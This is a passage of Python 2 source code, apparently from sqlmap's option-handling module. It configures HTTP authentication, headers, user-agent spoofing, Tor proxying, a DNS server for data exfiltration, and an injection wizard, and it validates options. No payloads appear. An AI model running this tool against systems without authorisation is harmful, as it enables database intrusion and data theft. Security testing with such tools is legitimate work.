':' in line: key, value = line.split(':', 1) value = value.strip() kb.safeReq.headers[key] = value if key == HTTP_HEADER.HOST: if not value.startswith("http"): scheme = "http" if value.endswith(":443"): scheme = "https" value = "%s://%s" % (scheme, value) kb.safeReq.url = urlparse.urljoin(value, kb.safeReq.url) else: break post = None if '\r\n\r\n' in raw: post = raw[raw.find('\r\n\r\n') + 4:] elif '\n\n' in raw: post = raw[raw.find('\n\n') + 2:] if post and post.strip(): kb.safeReq.post = post else: kb.safeReq.post = None else: errMsg = "invalid format of a safe request file" raise SqlmapSyntaxException, errMsg else: if not re.search("^http[s]*://", conf.safeUrl): if ":443/" in conf.safeUrl: conf.safeUrl = "https://" + conf.safeUrl else: conf.safeUrl = "http://" + conf.safeUrl if conf.safeFreq <= 0: errMsg = "please provide a valid value (>0) for safe frequency (--safe-freq) while using safe visit features" raise SqlmapSyntaxException(errMsg) def _setPrefixSuffix(): if conf.prefix is not None and conf.suffix is not None: # Create a custom boundary object for user's supplied prefix # and suffix boundary = AttribDict() boundary.level = 1 boundary.clause = [0] boundary.where = [1, 2, 3] boundary.prefix = conf.prefix boundary.suffix = conf.suffix if " like" in boundary.suffix.lower(): if "'" in boundary.suffix.lower(): boundary.ptype = 3 elif '"' in boundary.suffix.lower(): boundary.ptype = 5 elif "'" in boundary.suffix: boundary.ptype = 2 elif '"' in boundary.suffix: boundary.ptype = 4 else: boundary.ptype = 1 # user who provides --prefix/--suffix does not want other boundaries # to be tested for conf.boundaries = [boundary] def _setAuthCred(): """ Adds authentication credentials (if any) for current target to the password manager (used by connection handler) """ if kb.passwordMgr and all(_ is not None for _ in (conf.scheme, conf.hostname, conf.port, conf.authUsername, conf.authPassword)): kb.passwordMgr.add_password(None, "%s://%s:%d" % (conf.scheme, conf.hostname, conf.port), conf.authUsername, conf.authPassword) def _setHTTPAuthentication(): """ Check and set the HTTP(s) authentication method (Basic, Digest, NTLM or PKI), username and password for first three methods, or PEM private key file for PKI authentication """ global authHandler if not conf.authType and not conf.authCred and not conf.authFile: return if conf.authFile and not conf.authType: conf.authType = AUTH_TYPE.PKI elif conf.authType and not conf.authCred and not conf.authFile: errMsg = "you specified the HTTP authentication type, but " errMsg += "did not provide the credentials" raise SqlmapSyntaxException(errMsg) elif not conf.authType and conf.authCred: errMsg = "you specified the HTTP authentication credentials, " errMsg += "but did not provide the type" raise SqlmapSyntaxException(errMsg) elif (conf.authType or "").lower() not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.NTLM, AUTH_TYPE.PKI): errMsg = "HTTP authentication type value must be " errMsg += "Basic, Digest, NTLM or PKI" raise SqlmapSyntaxException(errMsg) if not conf.authFile: debugMsg = "setting the HTTP authentication type and credentials" logger.debug(debugMsg) aTypeLower = conf.authType.lower() if aTypeLower in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST): regExp = "^(.*?):(.*?)$" errMsg = "HTTP %s authentication credentials " % aTypeLower errMsg += "value must be in format 'username:password'" elif aTypeLower == AUTH_TYPE.NTLM: regExp = "^(.*\\\\.*):(.*?)$" errMsg = "HTTP NTLM authentication credentials value must " errMsg += "be in format 'DOMAIN\username:password'" elif aTypeLower == AUTH_TYPE.PKI: errMsg = "HTTP PKI authentication require " errMsg += "usage of option `--auth-pki`" raise SqlmapSyntaxException(errMsg) aCredRegExp = re.search(regExp, conf.authCred) if not aCredRegExp: raise SqlmapSyntaxException(errMsg) conf.authUsername = aCredRegExp.group(1) conf.authPassword = aCredRegExp.group(2) kb.passwordMgr = urllib2.HTTPPasswordMgrWithDefaultRealm() _setAuthCred() if aTypeLower == AUTH_TYPE.BASIC: authHandler = SmartHTTPBasicAuthHandler(kb.passwordMgr) elif aTypeLower == AUTH_TYPE.DIGEST: authHandler = urllib2.HTTPDigestAuthHandler(kb.passwordMgr) elif aTypeLower == AUTH_TYPE.NTLM: try: from ntlm import HTTPNtlmAuthHandler except ImportError: errMsg = "sqlmap requires Python NTLM third-party library " errMsg += "in order to authenticate via NTLM, " errMsg += "http://code.google.com/p/python-ntlm/" raise SqlmapMissingDependence(errMsg) authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr) else: debugMsg = "setting the HTTP(s) authentication PEM private key" logger.debug(debugMsg) _ = safeExpandUser(conf.authFile) checkFile(_) authHandler = HTTPSPKIAuthHandler(_) def _setHTTPExtraHeaders(): if conf.headers: debugMsg = "setting extra HTTP headers" logger.debug(debugMsg) conf.headers = conf.headers.split("\n") if "\n" in conf.headers else conf.headers.split("\\n") for headerValue in conf.headers: if not headerValue.strip(): continue if headerValue.count(':') >= 1: header, value = (_.lstrip() for _ in headerValue.split(":", 1)) if header and value: conf.httpHeaders.append((header, value)) else: errMsg = "invalid header value: %s. Valid header format is 'name:value'" % repr(headerValue).lstrip('u') raise SqlmapSyntaxException(errMsg) elif not conf.requestFile and len(conf.httpHeaders or []) < 2: conf.httpHeaders.append((HTTP_HEADER.ACCEPT_LANGUAGE, "en-us,en;q=0.5")) if not conf.charset: conf.httpHeaders.append((HTTP_HEADER.ACCEPT_CHARSET, "ISO-8859-15,utf-8;q=0.7,*;q=0.7")) else: conf.httpHeaders.append((HTTP_HEADER.ACCEPT_CHARSET, "%s;q=0.7,*;q=0.1" % conf.charset)) # Invalidating any caching mechanism in between # Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html conf.httpHeaders.append((HTTP_HEADER.CACHE_CONTROL, "no-cache,no-store")) conf.httpHeaders.append((HTTP_HEADER.PRAGMA, "no-cache")) def _defaultHTTPUserAgent(): """ @return: default sqlmap HTTP User-Agent header @rtype: C{str} """ return "%s (%s)" % (VERSION_STRING, SITE) # Firefox 3 running on Ubuntu 9.04 updated at April 2009 #return "Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9" # Internet Explorer 7.0 running on Windows 2003 Service Pack 2 english # updated at March 2009 #return "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" def _setHTTPUserAgent(): """ Set the HTTP User-Agent header. Depending on the user options it can be: * The default sqlmap string * A default value read as user option * A random value read from a list of User-Agent headers from a file choosed as user option """ if conf.mobile: message = "which smartphone do you want sqlmap to imitate " message += "through HTTP User-Agent header?\n" items = sorted(getPublicTypeMembers(MOBILES, True)) for count in xrange(len(items)): item = items[count] message += "[%d] %s%s\n" % (count + 1, item[0], " (default)" if item == MOBILES.IPHONE else "") test = readInput(message.rstrip('\n'), default=items.index(MOBILES.IPHONE) + 1) try: item = items[int(test) - 1] except: item = MOBILES.IPHONE conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, item[1])) elif conf.agent: debugMsg = "setting the HTTP User-Agent header" logger.debug(debugMsg) conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, conf.agent)) elif not conf.randomAgent: _ = True for header, _ in conf.httpHeaders: if header == HTTP_HEADER.USER_AGENT: _ = False break if _: conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _defaultHTTPUserAgent())) else: if not kb.userAgents: debugMsg = "loading random HTTP User-Agent header(s) from " debugMsg += "file '%s'" % paths.USER_AGENTS logger.debug(debugMsg) try: kb.userAgents = getFileItems(paths.USER_AGENTS) except IOError: warnMsg = "unable to read HTTP User-Agent header " warnMsg += "file '%s'" % paths.USER_AGENTS logger.warn(warnMsg) conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _defaultHTTPUserAgent())) return userAgent = random.sample(kb.userAgents or [_defaultHTTPUserAgent()], 1)[0] infoMsg = "fetched random HTTP User-Agent header from " infoMsg += "file '%s': '%s'" % (paths.USER_AGENTS, userAgent) logger.info(infoMsg) conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, userAgent)) def _setHTTPReferer(): """ Set the HTTP Referer """ if conf.referer: debugMsg = "setting the HTTP Referer header" logger.debug(debugMsg) conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.referer)) def _setHTTPHost(): """ Set the HTTP Host """ if conf.host: debugMsg = "setting the HTTP Host header" logger.debug(debugMsg) conf.httpHeaders.append((HTTP_HEADER.HOST, conf.host)) def _setHTTPCookies(): """ Set the HTTP Cookie header """ if conf.cookie: debugMsg = "setting the HTTP Cookie header" logger.debug(debugMsg) conf.httpHeaders.append((HTTP_HEADER.COOKIE, conf.cookie)) def _setHTTPTimeout(): """ Set the HTTP timeout """ if conf.timeout: debugMsg = "setting the HTTP timeout" logger.debug(debugMsg) conf.timeout = float(conf.timeout) if conf.timeout < 3.0: warnMsg = "the minimum HTTP timeout is 3 seconds, sqlmap " warnMsg += "will going to reset it" logger.warn(warnMsg) conf.timeout = 3.0 else: conf.timeout = 30.0 socket.setdefaulttimeout(conf.timeout) def _checkDependencies(): """ Checks for missing dependencies. """ if conf.dependencies: checkDependencies() def _createTemporaryDirectory(): """ Creates temporary directory for this run. """ try: if not os.path.isdir(tempfile.gettempdir()): os.makedirs(tempfile.gettempdir()) except IOError, ex: errMsg = "there has been a problem while accessing " errMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex) errMsg += "make sure that there is enough disk space left. If problem persists, " errMsg += "try to set environment variable 'TEMP' to a location " errMsg += "writeable by the current user" raise SqlmapSystemException, errMsg if "sqlmap" not in (tempfile.tempdir or ""): tempfile.tempdir = tempfile.mkdtemp(prefix="sqlmap", suffix=str(os.getpid())) kb.tempDir = tempfile.tempdir if not os.path.isdir(tempfile.tempdir): os.makedirs(tempfile.tempdir) def _cleanupOptions(): """ Cleanup configuration attributes. """ debugMsg = "cleaning up configuration parameters" logger.debug(debugMsg) width = getConsoleWidth() if conf.eta: conf.progressWidth = width - 26 else: conf.progressWidth = width - 46 for key, value in conf.items(): if value and any(key.endswith(_) for _ in ("Path", "File", "Dir")): conf[key] = safeExpandUser(value) if conf.testParameter: conf.testParameter = urldecode(conf.testParameter) conf.testParameter = conf.testParameter.replace(" ", "") conf.testParameter = re.split(PARAMETER_SPLITTING_REGEX, conf.testParameter) else: conf.testParameter = [] if conf.user: conf.user = conf.user.replace(" ", "") if conf.rParam: conf.rParam = conf.rParam.replace(" ", "") conf.rParam = re.split(PARAMETER_SPLITTING_REGEX, conf.rParam) else: conf.rParam = [] if conf.paramDel and '\\' in conf.paramDel: conf.paramDel = conf.paramDel.decode("string_escape") if conf.skip: conf.skip = conf.skip.replace(" ", "") conf.skip = re.split(PARAMETER_SPLITTING_REGEX, conf.skip) else: conf.skip = [] if conf.cookie: conf.cookie = re.sub(r"[\r\n]", "", conf.cookie) if conf.delay: conf.delay = float(conf.delay) if conf.rFile: conf.rFile = ntToPosixSlashes(normalizePath(conf.rFile)) if conf.wFile: conf.wFile = ntToPosixSlashes(normalizePath(conf.wFile)) if conf.dFile: conf.dFile = ntToPosixSlashes(normalizePath(conf.dFile)) if conf.sitemapUrl and not conf.sitemapUrl.lower().startswith("http"): conf.sitemapUrl = "http%s://%s" % ('s' if conf.forceSSL else '', conf.sitemapUrl) if conf.msfPath: conf.msfPath = ntToPosixSlashes(normalizePath(conf.msfPath)) if conf.tmpPath: conf.tmpPath = ntToPosixSlashes(normalizePath(conf.tmpPath)) if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.forms, conf.crawlDepth)): conf.multipleTargets = True if conf.optimize: setOptimize() if conf.data: conf.data = re.sub(INJECT_HERE_MARK.replace(" ", r"[^A-Za-z]*"), CUSTOM_INJECTION_MARK_CHAR, conf.data, re.I) if conf.url: conf.url = re.sub(INJECT_HERE_MARK.replace(" ", r"[^A-Za-z]*"), CUSTOM_INJECTION_MARK_CHAR, conf.url, re.I) if conf.os: conf.os = conf.os.capitalize() if conf.dbms: conf.dbms = conf.dbms.capitalize() if conf.testFilter: conf.testFilter = conf.testFilter.strip('*+') conf.testFilter = re.sub(r"([^.])([*+])", "\g<1>.\g<2>", conf.testFilter) if conf.testSkip: conf.testSkip = conf.testSkip.strip('*+') conf.testSkip = re.sub(r"([^.])([*+])", "\g<1>.\g<2>", conf.testSkip) if "timeSec" not in kb.explicitSettings: if conf.tor: conf.timeSec = 2 * conf.timeSec kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE warnMsg = "increasing default value for " warnMsg += "option '--time-sec' to %d because " % conf.timeSec warnMsg += "switch '--tor' was provided" logger.warn(warnMsg) else: kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE if conf.retries: conf.retries = min(conf.retries, MAX_CONNECT_RETRIES) if conf.code: conf.code = int(conf.code) if conf.csvDel: conf.csvDel = conf.csvDel.decode("string_escape") # e.g. '\\t' -> '\t' if conf.torPort and isinstance(conf.torPort, basestring) and conf.torPort.isdigit(): conf.torPort = int(conf.torPort) if conf.torType: conf.torType = conf.torType.upper() if conf.outputDir: paths.SQLMAP_OUTPUT_PATH = os.path.realpath(os.path.expanduser(conf.outputDir)) setPaths() if conf.string: try: conf.string = conf.string.decode("unicode_escape") except: charset = string.whitespace.replace(" ", "") for _ in charset: conf.string = conf.string.replace(_.encode("string_escape"), _) if conf.getAll: map(lambda x: conf.__setitem__(x, True), WIZARD.ALL) if conf.noCast: for _ in DUMP_REPLACEMENTS.keys(): del DUMP_REPLACEMENTS[_] if conf.dumpFormat: conf.dumpFormat = conf.dumpFormat.upper() if conf.torType: conf.torType = conf.torType.upper() if conf.col: conf.col = re.sub(r"\s*,\s*", ",", conf.col) if conf.excludeCol: conf.excludeCol = re.sub(r"\s*,\s*", ",", conf.excludeCol) if conf.binaryFields: conf.binaryFields = re.sub(r"\s*,\s*", ",", conf.binaryFields) threadData = getCurrentThreadData() threadData.reset() def _dirtyPatches(): """ Place for "dirty" Python related patches """ httplib._MAXLINE = 1 * 1024 * 1024 # to accept overly long result lines (e.g. SQLi results in HTTP header responses) def _purgeOutput(): """ Safely removes (purges) output directory. """ if conf.purgeOutput: purge(paths.SQLMAP_OUTPUT_PATH) def _setConfAttributes(): """ This function set some needed attributes into the configuration singleton. """ debugMsg = "initializing the configuration" logger.debug(debugMsg) conf.authUsername = None conf.authPassword = None conf.boundaries = [] conf.cj = None conf.dbmsConnector = None conf.dbmsHandler = None conf.dnsServer = None conf.dumpPath = None conf.hashDB = None conf.hashDBFile = None conf.httpHeaders = [] conf.hostname = None conf.ipv6 = False conf.multipleTargets = False conf.outputPath = None conf.paramDict = {} conf.parameters = {} conf.path = None conf.port = None conf.proxyList = None conf.resultsFilename = None conf.resultsFP = None conf.scheme = None conf.tests = [] conf.trafficFP = None conf.wFileType = None def _setKnowledgeBaseAttributes(flushAll=True): """ This function set some needed attributes into the knowledge base singleton. """ debugMsg = "initializing the knowledge base" logger.debug(debugMsg) kb.absFilePaths = set() kb.adjustTimeDelay = None kb.alerted = False kb.alwaysRefresh = None kb.arch = None kb.authHeader = None kb.bannerFp = AttribDict() kb.binaryField = False kb.brute = AttribDict({"tables": [], "columns": []}) kb.bruteMode = False kb.cache = AttribDict() kb.cache.content = {} kb.cache.regex = {} kb.cache.stdev = {} kb.chars = AttribDict() kb.chars.delimiter = randomStr(length=6, lowercase=True) kb.chars.start = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) kb.chars.stop = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = ("%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, _, KB_CHARS_BOUNDARY_CHAR) for _ in randomStr(length=4, lowercase=True)) kb.columnExistsChoice = None kb.commonOutputs = None kb.counters = {} kb.data = AttribDict() kb.dataOutputFlag = False # Active back-end DBMS fingerprint kb.dbms = None kb.dbmsVersion = [UNKNOWN_DBMS_VERSION] kb.delayCandidates = TIME_DELAY_CANDIDATES * [0] kb.dep = None kb.dnsMode = False kb.dnsTest = None kb.docRoot = None kb.dumpTable = None kb.dumpKeyboardInterrupt = False kb.dynamicMarkings = [] kb.dynamicParameter = False kb.endDetection = False kb.explicitSettings = set() kb.extendTests = None kb.errorChunkLength = None kb.errorIsNone = True kb.fileReadMode = False kb.followSitemapRecursion = None kb.forcedDbms = None kb.forcePartialUnion = False kb.forceWhere = None kb.futileUnion = None kb.headersFp = {} kb.heuristicDbms = None kb.heuristicMode = False kb.heuristicTest = None kb.hintValue = None kb.htmlFp = [] kb.httpErrorCodes = {} kb.inferenceMode = False kb.ignoreCasted = None kb.ignoreNotFound = False kb.ignoreTimeout = False kb.injection = InjectionDict() kb.injections = [] kb.laggingChecked = False kb.lastParserStatus = None kb.locks = AttribDict() for _ in ("cache", "count", "index", "io", "limit", "log", "socket", "redirect", "request", "value"): kb.locks[_] = threading.Lock() kb.matchRatio = None kb.maxConnectionsFlag = False kb.mergeCookies = None kb.multiThreadMode = False kb.negativeLogic = False kb.nullConnection = None kb.oldMsf = None kb.orderByColumns = None kb.originalCode = None kb.originalPage = None kb.originalPageTime = None kb.originalTimeDelay = None kb.originalUrls = dict() # Back-end DBMS underlying operating system fingerprint via banner (-b) # parsing kb.os = None kb.osVersion = None kb.osSP = None kb.pageCompress = True kb.pageTemplate = None kb.pageTemplates = dict() kb.pageEncoding = DEFAULT_PAGE_ENCODING kb.pageStable = None kb.partRun = None kb.permissionFlag = False kb.postHint = None kb.postSpaceToPlus = False kb.postUrlEncode = True kb.prependFlag = False kb.processResponseCounter = 0 kb.previousMethod = None kb.processUserMarks = None kb.proxyAuthHeader = None kb.queryCounter = 0 kb.redirectChoice = None kb.reflectiveMechanism = True kb.reflectiveCounters = {REFLECTIVE_COUNTER.MISS: 0, REFLECTIVE_COUNTER.HIT: 0} kb.requestCounter = 0 kb.resendPostOnRedirect = None kb.responseTimes = {} kb.responseTimeMode = None kb.responseTimePayload = None kb.resumeValues = True kb.safeCharEncode = False kb.safeReq = AttribDict() kb.singleLogFlags = set() kb.reduceTests = None kb.tlsSNI = {} kb.stickyDBMS = False kb.stickyLevel = None kb.storeCrawlingChoice = None kb.storeHashesChoice = None kb.suppressResumeInfo = False kb.technique = None kb.tempDir = None kb.testMode = False kb.testOnlyCustom = False kb.testQueryCount = 0 kb.testType = None kb.threadContinue = True kb.threadException = False kb.tableExistsChoice = None kb.timeValidCharsRun = 0 kb.uChar = NULL kb.unionDuplicates = False kb.xpCmdshellAvailable = False if flushAll: kb.headerPaths = {} kb.keywords = set(getFileItems(paths.SQL_KEYWORDS)) kb.passwordMgr = None kb.skipVulnHost = None kb.tamperFunctions = [] kb.targets = oset() kb.testedParams = set() kb.userAgents = None kb.vainRun = True kb.vulnHosts = set() kb.wafFunctions = [] kb.wordlists = None def _useWizardInterface(): """ Presents simple wizard interface for beginner users """ if not conf.wizard: return logger.info("starting wizard interface") while not conf.url: message = "Please enter full target URL (-u): " conf.url = readInput(message, default=None) message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST) conf.data = readInput(message, default=None) if not (filter(lambda _: '=' in unicode(_), (conf.url, conf.data)) or '*' in conf.url): warnMsg = "no GET and/or %s parameter(s) found for testing " % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST) warnMsg += "(e.g. GET parameter 'id' in 'http://www.site.com/vuln.php?id=1'). " if not conf.crawlDepth and not conf.forms: warnMsg += "Will search for forms" conf.forms = True logger.warn(warnMsg) choice = None while choice is None or choice not in ("", "1", "2", "3"): message = "Injection difficulty (--level/--risk). Please choose:\n" message += "[1] Normal (default)\n[2] Medium\n[3] Hard" choice = readInput(message, default='1') if choice == '2': conf.risk = 2 conf.level = 3 elif choice == '3': conf.risk = 3 conf.level = 5 else: conf.risk = 1 conf.level = 1 if not conf.getAll: choice = None while choice is None or choice not in ("", "1", "2", "3"): message = "Enumeration (--banner/--current-user/etc). Please choose:\n" message += "[1] Basic (default)\n[2] Intermediate\n[3] All" choice = readInput(message, default='1') if choice == '2': map(lambda x: conf.__setitem__(x, True), WIZARD.INTERMEDIATE) elif choice == '3': map(lambda x: conf.__setitem__(x, True), WIZARD.ALL) else: map(lambda x: conf.__setitem__(x, True), WIZARD.BASIC) logger.debug("muting sqlmap.. it will do the magic for you") conf.verbose = 0 conf.batch = True conf.threads = 4 dataToStdout("\nsqlmap is running, please wait..\n\n") def _saveConfig(): """ Saves the command line options to a sqlmap configuration INI file Format. """ if not conf.saveConfig: return debugMsg = "saving command line options to a sqlmap configuration INI file" logger.debug(debugMsg) config = UnicodeRawConfigParser() userOpts = {} for family in optDict.keys(): userOpts[family] = [] for option, value in conf.items(): for family, optionData in optDict.items(): if option in optionData: userOpts[family].append((option, value, optionData[option])) for family, optionData in userOpts.items(): config.add_section(family) optionData.sort() for option, value, datatype in optionData: if datatype and isListLike(datatype): datatype = datatype[0] if option in IGNORE_SAVE_OPTIONS: continue if value is None: if datatype == OPTION_TYPE.BOOLEAN: value = "False" elif datatype in (OPTION_TYPE.INTEGER, OPTION_TYPE.FLOAT): if option in defaults: value = str(defaults[option]) else: value = "0" elif datatype == OPTION_TYPE.STRING: value = "" if isinstance(value, basestring): value = value.replace("\n", "\n ") config.set(family, option, value) confFP = openFile(conf.saveConfig, "wb") try: config.write(confFP) except IOError, ex: errMsg = "something went wrong while trying " errMsg += "to write to the configuration file '%s' ('%s')" % (conf.saveConfig, getSafeExString(ex)) raise SqlmapSystemException(errMsg) infoMsg = "saved command line options to the configuration file '%s'" % conf.saveConfig logger.info(infoMsg) def setVerbosity(): """ This function set the verbosity of sqlmap output messages. """ if conf.verbose is None: conf.verbose = 1 conf.verbose = int(conf.verbose) if conf.verbose == 0: logger.setLevel(logging.ERROR) elif conf.verbose == 1: logger.setLevel(logging.INFO) elif conf.verbose > 2 and conf.eta: conf.verbose = 2 logger.setLevel(logging.DEBUG) elif conf.verbose == 2: logger.setLevel(logging.DEBUG) elif conf.verbose == 3: logger.setLevel(CUSTOM_LOGGING.PAYLOAD) elif conf.verbose == 4: logger.setLevel(CUSTOM_LOGGING.TRAFFIC_OUT) elif conf.verbose >= 5: logger.setLevel(CUSTOM_LOGGING.TRAFFIC_IN) def _normalizeOptions(inputOptions): """ Sets proper option types """ types_ = {} for group in optDict.keys(): types_.update(optDict[group]) for key in inputOptions: if key in types_: value = inputOptions[key] if value is None: continue type_ = types_[key] if type_ and isinstance(type_, tuple): type_ = type_[0] if type_ == OPTION_TYPE.BOOLEAN: try: value = bool(value) except (TypeError, ValueError): value = False elif type_ == OPTION_TYPE.INTEGER: try: value = int(value) except (TypeError, ValueError): value = 0 elif type_ == OPTION_TYPE.FLOAT: try: value = float(value) except (TypeError, ValueError): value = 0.0 inputOptions[key] = value def _mergeOptions(inputOptions, overrideOptions): """ Merge command line options with configuration file and default options. @param inputOptions: optparse object with command line options. @type inputOptions: C{instance} """ if inputOptions.pickledOptions: try: inputOptions = base64unpickle(inputOptions.pickledOptions) _normalizeOptions(inputOptions) except Exception, ex: errMsg = "provided invalid value '%s' for option '--pickled-options'" % inputOptions.pickledOptions errMsg += " ('%s')" % ex if ex.message else "" raise SqlmapSyntaxException(errMsg) if inputOptions.configFile: configFileParser(inputOptions.configFile) if hasattr(inputOptions, "items"): inputOptionsItems = inputOptions.items() else: inputOptionsItems = inputOptions.__dict__.items() for key, value in inputOptionsItems: if key not in conf or value not in (None, False) or overrideOptions: conf[key] = value for key, value in conf.items(): if value is not None: kb.explicitSettings.add(key) for key, value in defaults.items(): if hasattr(conf, key) and conf[key] is None: conf[key] = value lut = {} for group in optDict.keys(): lut.update((_.upper(), _) for _ in optDict[group]) envOptions = {} for key, value in os.environ.items(): if key.upper().startswith(SQLMAP_ENVIRONMENT_PREFIX): _ = key[len(SQLMAP_ENVIRONMENT_PREFIX):].upper() if _ in lut: envOptions[lut[_]] = value if envOptions: _normalizeOptions(envOptions) for key, value in envOptions.items(): conf[key] = value mergedOptions.update(conf) def _setTrafficOutputFP(): if conf.trafficFile: infoMsg = "setting file for logging HTTP traffic" logger.info(infoMsg) conf.trafficFP = openFile(conf.trafficFile, "w+") def _setDNSServer(): if not conf.dnsName: return infoMsg = "setting up DNS server instance" logger.info(infoMsg) isAdmin = runningAsAdmin() if isAdmin: try: conf.dnsServer = DNSServer() conf.dnsServer.run() except socket.error, msg: errMsg = "there was an error while setting up " errMsg += "DNS server instance ('%s')" % msg raise SqlmapGenericException(errMsg) else: errMsg = "you need to run sqlmap as an administrator " errMsg += "if you want to perform a DNS data exfiltration attack " errMsg += "as it will need to listen on privileged UDP port 53 " errMsg += "for incoming address resolution attempts" raise SqlmapMissingPrivileges(errMsg) def _setProxyList(): if not conf.proxyFile: return conf.proxyList = [] for match in re.finditer(r"(?i)((http[^:]*|socks[^:]*)://)?([\w.]+):(\d+)", readCachedFileContent(conf.proxyFile)): _, type_, address, port = match.groups() conf.proxyList.append("%s://%s:%s" % (type_ or "http", address, port)) def _setTorProxySettings(): if not conf.tor: return if conf.torType == PROXY_TYPE.HTTP: _setTorHttpProxySettings() else: _setTorSocksProxySettings() def _setTorHttpProxySettings(): infoMsg = "setting Tor HTTP proxy settings" logger.info(infoMsg) found = None for port in (DEFAULT_TOR_HTTP_PORTS if not conf.torPort else (conf.torPort,)): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((LOCALHOST, port)) found = port break except socket.error: pass s.close() if found: conf.proxy = "http://%s:%d" % (LOCALHOST, found) else: errMsg = "can't establish connection with the Tor proxy. " errMsg += "Please make sure that you have Vidalia, Privoxy or " errMsg += "Polipo bundle installed for you to be able to " errMsg += "successfully use switch '--tor' " raise SqlmapConnectionException(errMsg) if not conf.checkTor: warnMsg = "use switch '--check-tor' at " warnMsg += "your own convenience when accessing " warnMsg += "Tor anonymizing network because of " warnMsg += "known issues with default settings of various 'bundles' " warnMsg += "(e.g. Vidalia)" logger.warn(warnMsg) def _setTorSocksProxySettings(): infoMsg = "setting Tor SOCKS proxy settings" logger.info(infoMsg) # Has to be SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29) socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if conf.torType == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, LOCALHOST, conf.torPort or DEFAULT_TOR_SOCKS_PORT) socks.wrapmodule(urllib2) def _checkWebSocket(): if conf.url and (conf.url.startswith("ws:/") or conf.url.startswith("wss:/")): try: from websocket import ABNF except ImportError: errMsg = "sqlmap requires third-party module 'websocket-client' " errMsg += "in order to use WebSocket funcionality" raise SqlmapMissingDependence(errMsg) def _checkTor(): if not conf.checkTor: return infoMsg = "checking Tor connection" logger.info(infoMsg) try: page, _, _ = Request.getPage(url="https://check.torproject.org/", raise404=False) except SqlmapConnectionException: page = None if not page or 'Congratulations' not in page: errMsg = "it seems that Tor is not properly set. Please try using options '--tor-type' and/or '--tor-port'" raise SqlmapConnectionException(errMsg) else: infoMsg = "Tor is properly being used" logger.info(infoMsg) def _basicOptionValidation(): if conf.limitStart is not None and not (isinstance(conf.limitStart, int) and conf.limitStart > 0): errMsg = "value for option '--start' (limitStart) must be an integer value greater than zero (>0)" raise SqlmapSyntaxException(errMsg) if conf.limitStop is not None and not (isinstance(conf.limitStop, int) and conf.limitStop > 0): errMsg = "value for option '--stop' (limitStop) must be an integer value greater than zero (>0)" raise SqlmapSyntaxException(errMsg) if conf.level is not None and not (isinstance(conf.level, int) and conf.level >= 1 and conf.level <= 5): errMsg = "value for option '--level' must be an integer value from range [1, 5]" raise SqlmapSyntaxException(errMsg) if conf.risk is not None and not (isinstance(conf.risk, int) and conf.risk >= 1 and conf.risk <= 3): errMsg = "value for option '--risk' must be an integer value from range [1, 3]" raise SqlmapSyntaxException(errMsg) if isinstance(conf.limitStart, int) and conf.limitStart > 0 and \ isinstance(conf.limitStop, int) and conf.limitStop < conf.limitStart: errMsg = "value for option '--start' (limitStart) must be smaller or equal than value for --stop (limitStop) option" raise SqlmapSyntaxException(errMsg) if isinstance(conf.firstChar, int) and conf.firstChar > 0 and \ isinstance(conf.lastChar, int) and conf.lastChar < conf.firstChar: errMsg = "value for option '--first' (firstChar) must be smaller than or equal to value for --last (lastChar) option" raise SqlmapSyntaxException(errMsg) if isinstance(conf.cpuThrottle, int) and (conf.cpuThrottle > 100 or conf.cpuThrottle < 0): errMsg = "value for option '--cpu-throttle' (cpuThrottle) must be in range [0,100]" raise SqlmapSyntaxException(errMsg) if conf.textOnly and conf.nullConnection: errMsg = "switch '--text-only' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) if conf.direct and conf.url: errMsg = "option '-d' is incompatible with option '-u' ('--url')" raise SqlmapSyntaxException(errMsg) if conf.identifyWaf and conf.skipWaf: errMsg = "switch '--identify-waf' is incompatible with switch '--skip-waf'" raise SqlmapSyntaxException(errMsg) if conf.titles and conf.nullConnection: errMsg = "switch '--titles' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) if conf.dumpTable and conf.search: errMsg = "switch '--dump' is incompatible with switch '--search'" raise SqlmapSyntaxException(errMsg) if conf.data and conf.nullConnection: errMsg = "option '--data' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) if conf.string and conf.nullConnection: errMsg = "option '--string' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) if conf.notString and conf.nullConnection: errMsg = "option '--not-string' is incompatible with switch '--null-connection'" raise 